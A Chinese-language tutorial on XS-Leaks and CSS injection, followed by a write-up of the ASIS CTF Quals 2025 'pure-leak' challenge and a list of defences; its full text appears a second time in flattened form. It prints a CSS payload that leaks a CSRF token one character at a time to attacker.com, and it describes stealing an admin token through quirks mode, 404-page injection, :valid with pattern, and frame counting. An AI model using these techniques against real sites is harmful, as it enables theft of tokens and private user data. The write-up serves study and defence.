XS-Leaks与CSS注入攻击原理及实战
字数 2468 2025-09-23 19:27:38

XS-Leaks与CSS注入攻击原理及实战

1 XS-Leaks概述

1.1 基本概念

XS-Leaks(Cross-Site Leaks)是一种利用Web平台特性进行信息泄露的攻击技术。它本质上属于侧信道攻击,通过观察不同网站间交互过程中产生的副作用来推断敏感信息。

1.2 工作原理

浏览器提供了多种跨站点交互机制(如资源加载、导航、消息传递),虽然受到同源策略限制,但XS-Leaks利用这些交互过程中暴露的微小信息差异:

  1. 网站不能直接访问其他源的数据
  2. 但可以加载其他源的资源并观察加载结果
  3. 通过分析资源加载的成功/失败状态推断信息

1.3 典型攻击示例

假设存在以下场景:

  • 目标站点:bank.com,提供API端点bank.com/my_receipt?q=<transaction_type>
  • 攻击站点:evil.com

攻击流程:

  1. evil.com尝试将bank.com/my_receipt?q=groceries作为脚本加载
  2. 浏览器自动附加用户cookie(携带身份凭证)
  3. 如果用户最近购买过杂货,返回HTTP 200,脚本加载成功
  4. 如果用户未购买,返回HTTP 404,触发错误事件
  5. 通过监听错误事件并测试不同查询参数,攻击者可推断用户交易历史

1.4 常见攻击向量

目前主流的XS-Leaks攻击技术包括:

  • 浏览器API滥用(帧计数、计时攻击)
  • 浏览器实现细节和漏洞利用(连接池、typeMustMatch)
  • 硬件层面攻击(推测执行)

2 CSS注入攻击

2.1 基本概念

CSS注入是一种在JavaScript被禁用时的替代攻击手法,通过向目标页面注入恶意CSS代码来影响页面渲染并窃取信息。

2.2 攻击原理

利用CSS属性选择器匹配特定元素的属性值,通过外部资源加载行为泄露信息:

input[name="csrf"][value^="a"] {
  background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
  background-image: url(https://attacker.com/exfil/b);
}
/* 省略其他字符 */
input[name="csrf"][value^="9"] {
  background-image: url(https://attacker.com/exfil/9);
}

2.3 攻击流程

  1. 构造CSS选择器匹配目标元素的属性值模式
  2. 当属性值匹配时触发外部资源加载
  3. 通过监听服务器端的请求记录推断属性值
  4. 特别针对隐藏input元素时需要特殊处理(默认不加载背景)

2.4 实施条件

成功的CSS注入攻击需要满足以下条件:

  1. Payload长度:注入点必须支持足够长的CSS payload
  2. CSS重新评估:能够对页面进行框架化以触发CSS重新评估
  3. 外部资源:能够加载外部托管资源(受CSP限制)

3 实战案例:[Asisctf-Quals2025]pure-leak

3.1 环境分析

  • 技术栈:PHP + JavaScript
  • 漏洞点:用户输入直接插入HTML(存在注入漏洞)
<?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?>
  • 安全限制:设置了CSP策略,禁用[]字符

3.2 攻击思路

  1. 通过CSS注入窃取管理员token
  2. 绕过CSP限制和字符过滤
  3. 利用XS-Leaks技术进行信息推断

3.3 关键技术点

3.3.1 利用PHP Warning进入Quirks Mode

问题:标准模式下要求CSS的Content-Type为text/css,但PHP默认返回text/html

解决方案:触发PHP Warning使文档进入怪异模式(Quirks Mode)

  • 三种触发PHP Warning的方式:
    1. 调用未定义函数
    2. 使用未定义常量
    3. 函数参数超过最大值

效果:怪异模式放宽MIME检查,允许同源的非text/css资源被当作CSS加载

3.3.2 绕过注释限制

问题:页面中存在/*注释,且过滤了*字符,无法使用*/提前闭合

解决方案:利用404错误页面进行CSS注入

  • 在404页面定义payload
  • 使用{}清理前缀垃圾内容,确保CSS规则正常解析

3.3.3 替代属性选择器

问题[]字符被过滤,无法使用常规属性选择器

解决方案:使用:valid伪类和pattern属性实现相同效果

<input pattern="正则表达式" value="用户输入">
  • 利用CSS伪类选择器:
input:valid {
  /* 匹配成功的样式 */
}
input:invalid {
  /* 匹配失败的样式 */
}

3.3.4 Frame Counting技术

问题:Bot无法直接感知颜色变化

解决方案:使用Frame Counting技术进行检测

  • 原理:嵌入<embed><object>会使window.length加1
  • 隐藏嵌入元素不会增加计数
  • 通过CSS控制元素显示/隐藏来操纵window.length值:
    • 匹配成功:隐藏元素 → window.length = 0
    • 匹配失败:显示元素 → window.length = 1

3.4 完整攻击流程

  1. 触发PHP Warning使文档进入Quirks Mode
  2. 通过404页面加载CSS注入payload
  3. 使用pattern:valid替代属性选择器
  4. 利用Frame Counting技术检测匹配结果
  5. 通过布尔判断逐步推断token值

4 防御措施

4.1 对抗XS-Leaks

  • 使用Cross-Origin Resource Policy(CORP)限制资源加载
  • 实施Cross-Origin Opener Policy(COOP)
  • 启用Cross-Origin Embedder Policy(COEP)
  • 对敏感请求使用CSRF令牌验证

4.2 对抗CSS注入

  • 严格验证和过滤用户输入
  • 实施严格的Content Security Policy(CSP)
  • 避免将用户输入直接插入HTML文档
  • 对敏感数据使用HTTPOnly和Secure标志

5 参考资料

  1. XS-Leaks Wiki: https://xsleaks.dev/
  2. HackTricks CSS注入: https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
  3. 实战案例分析: https://blog.arkark.dev/2025/09/08/asisctf-quals

本文详细介绍了XS-Leaks和CSS注入攻击的原理、技术实现和实战应用,涵盖了从基本概念到高级绕过技术的完整知识体系,为安全研究和防护措施提供了全面参考。

XS-Leaks与CSS注入攻击原理及实战 1 XS-Leaks概述 1.1 基本概念 XS-Leaks(Cross-Site Leaks)是一种利用Web平台特性进行信息泄露的攻击技术。它本质上属于侧信道攻击,通过观察不同网站间交互过程中产生的副作用来推断敏感信息。 1.2 工作原理 浏览器提供了多种跨站点交互机制(如资源加载、导航、消息传递),虽然受到同源策略限制,但XS-Leaks利用这些交互过程中暴露的微小信息差异: 网站不能直接访问其他源的数据 但可以加载其他源的资源并观察加载结果 通过分析资源加载的成功/失败状态推断信息 1.3 典型攻击示例 假设存在以下场景: 目标站点:bank.com,提供API端点 bank.com/my_receipt?q=<transaction_type> 攻击站点:evil.com 攻击流程: evil.com尝试将 bank.com/my_receipt?q=groceries 作为脚本加载 浏览器自动附加用户cookie(携带身份凭证) 如果用户最近购买过杂货,返回HTTP 200,脚本加载成功 如果用户未购买,返回HTTP 404,触发错误事件 通过监听错误事件并测试不同查询参数,攻击者可推断用户交易历史 1.4 常见攻击向量 目前主流的XS-Leaks攻击技术包括: 浏览器API滥用(帧计数、计时攻击) 浏览器实现细节和漏洞利用(连接池、typeMustMatch) 硬件层面攻击(推测执行) 2 CSS注入攻击 2.1 基本概念 CSS注入是一种在JavaScript被禁用时的替代攻击手法,通过向目标页面注入恶意CSS代码来影响页面渲染并窃取信息。 2.2 攻击原理 利用CSS属性选择器匹配特定元素的属性值,通过外部资源加载行为泄露信息: 2.3 攻击流程 构造CSS选择器匹配目标元素的属性值模式 当属性值匹配时触发外部资源加载 通过监听服务器端的请求记录推断属性值 特别针对隐藏input元素时需要特殊处理(默认不加载背景) 2.4 实施条件 成功的CSS注入攻击需要满足以下条件: Payload长度 :注入点必须支持足够长的CSS payload CSS重新评估 :能够对页面进行框架化以触发CSS重新评估 外部资源 :能够加载外部托管资源(受CSP限制) 3 实战案例:[ Asisctf-Quals2025 ]pure-leak 3.1 环境分析 技术栈:PHP + JavaScript 漏洞点:用户输入直接插入HTML(存在注入漏洞) 安全限制:设置了CSP策略,禁用 [ 和 ] 字符 3.2 攻击思路 通过CSS注入窃取管理员token 绕过CSP限制和字符过滤 利用XS-Leaks技术进行信息推断 3.3 关键技术点 3.3.1 利用PHP Warning进入Quirks Mode 问题 :标准模式下要求CSS的Content-Type为 text/css ,但PHP默认返回 text/html 解决方案 :触发PHP Warning使文档进入怪异模式(Quirks Mode) 三种触发PHP Warning的方式: 调用未定义函数 使用未定义常量 函数参数超过最大值 效果 :怪异模式放宽MIME检查,允许同源的非 text/css 资源被当作CSS加载 3.3.2 绕过注释限制 问题 :页面中存在 /* 注释,且过滤了 * 字符,无法使用 */ 提前闭合 解决方案 :利用404错误页面进行CSS注入 在404页面定义payload 使用 {} 清理前缀垃圾内容,确保CSS规则正常解析 3.3.3 替代属性选择器 问题 : [ 和 ] 字符被过滤,无法使用常规属性选择器 解决方案 :使用 :valid 伪类和 pattern 属性实现相同效果 利用CSS伪类选择器: 3.3.4 Frame Counting技术 问题 :Bot无法直接感知颜色变化 解决方案 :使用Frame Counting技术进行检测 原理:嵌入 <embed> 或 <object> 会使 window.length 加1 隐藏嵌入元素不会增加计数 通过CSS控制元素显示/隐藏来操纵 window.length 值: 匹配成功:隐藏元素 → window.length = 0 匹配失败:显示元素 → window.length = 1 3.4 完整攻击流程 触发PHP Warning使文档进入Quirks Mode 通过404页面加载CSS注入payload 使用 pattern 和 :valid 替代属性选择器 利用Frame Counting技术检测匹配结果 通过布尔判断逐步推断token值 4 防御措施 4.1 对抗XS-Leaks 使用Cross-Origin Resource Policy(CORP)限制资源加载 实施Cross-Origin Opener Policy(COOP) 启用Cross-Origin Embedder Policy(COEP) 对敏感请求使用CSRF令牌验证 4.2 对抗CSS注入 严格验证和过滤用户输入 实施严格的Content Security Policy(CSP) 避免将用户输入直接插入HTML文档 对敏感数据使用HTTPOnly和Secure标志 5 参考资料 XS-Leaks Wiki: https://xsleaks.dev/ HackTricks CSS注入: https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection 实战案例分析: https://blog.arkark.dev/2025/09/08/asisctf-quals 本文详细介绍了XS-Leaks和CSS注入攻击的原理、技术实现和实战应用,涵盖了从基本概念到高级绕过技术的完整知识体系,为安全研究和防护措施提供了全面参考。